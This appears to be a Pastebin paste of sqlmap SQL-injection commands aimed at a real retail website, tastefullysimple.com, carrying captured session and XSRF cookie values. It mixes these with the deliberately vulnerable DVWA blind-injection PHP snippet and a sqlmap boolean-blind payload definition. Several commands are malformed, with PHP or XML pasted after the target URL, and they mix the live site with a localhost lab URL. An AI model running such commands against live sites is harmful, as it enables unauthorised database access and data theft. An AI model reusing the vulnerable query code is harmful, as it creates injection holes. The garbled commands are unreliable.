skip420

sql_rulez

Aug 30th, 2021 (edited)
610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. sqlmap -u https://www.tastefullysimple.com --cookie =  SHOP_SESSION_TOKEN': 'ht0570obprs8qof5e0va6mck35', 'XSRF-TOKEN': 'c70165b799226227992c19fa79a9b3a098dfad89c494afde3f82a9b815aaca6a', 'fornax_anonymousId': '3e99fd5c-25fa-4c3e-a398-b091980c909a', 'Shopper-Pref': '17EFC4DF35C870227A6327913DFD87A8A53D94F3-1630922518118-x%7B%22cur%22%3A%22USD%22%7D --forms --crawl=2
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. <?phpif (isset($_GET['Submit'])) {        // Retrieve data        $id = $_GET['id'];        if (!preg_match('/-BR$/', $id))                $html .= '<pre><h2>Wrong ID format</h2></pre>';        else {                $id = str_replace("-BR", "", $id);                $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";                 $result = mysql_query($getid); // Removed 'or die' to suppress mysql errors                $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'                if ($num > 0)                        $html .= '<pre><h2>User exists!</h2></pre>';                else                        $html .= '<pre><h2>Unknown user!</h2></pre>';        }}?>
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16. sqlmap.py https://www.tastefullysimple.com --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="security=low; PHPSESSID=oikbs8qcic2omf5gnd09kihsm7" -u 'http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1-BR&Submit=Submit#' --level=5 risk=3 -p id
  17.  
  18.  
  19.  
  20.  
  21. sqlmap.py https://www.tastefullysimple.com <?phpif (isset($_GET['Submit'])) {        // Retrieve data        $id = $_GET['id'];        if (!preg_match('/-BR$/', $id))                $html .= '<pre><h2>Wrong ID format</h2></pre>';        else {                $id = str_replace("-BR", "", $id);                $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";                 $result = mysql_query($getid); // Removed 'or die' to suppress mysql errors                $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'                if ($num > 0)                        $html .= '<pre><h2>User exists!</h2></pre>';                else                        $html .= '<pre><h2>Unknown user!</h2></pre>';        }}?>
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29. sqlmap.py https://www.tastefullysimple.com  -headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="security=low; PHPSESSID=oikbs8qcic2omf5gnd09kihsm7" -u 'http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --level=5 risk=3 -p id --suffix="-BR" -v3
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38. sqlmap.py https://www.tastefullysimple.com   <test>    <title>AND boolean-based blind - WHERE or HAVING clause (Forced MySQL comment)</title>    <stype>1</stype>    <level>1</level>    <risk>1</risk>    <clause>1</clause>    <where>1</where>    <vector>AND [INFERENCE] #</vector>    <request>        <payload>AND [RANDNUM]=[RANDNUM] #</payload>    </request>    <response>        <comparison>AND [RANDNUM]=[RANDNUM1] #</comparison>    </response>    <details>        <dbms>MySQL</dbms>    </details></test>
Add Comment
Please, Sign In to add comment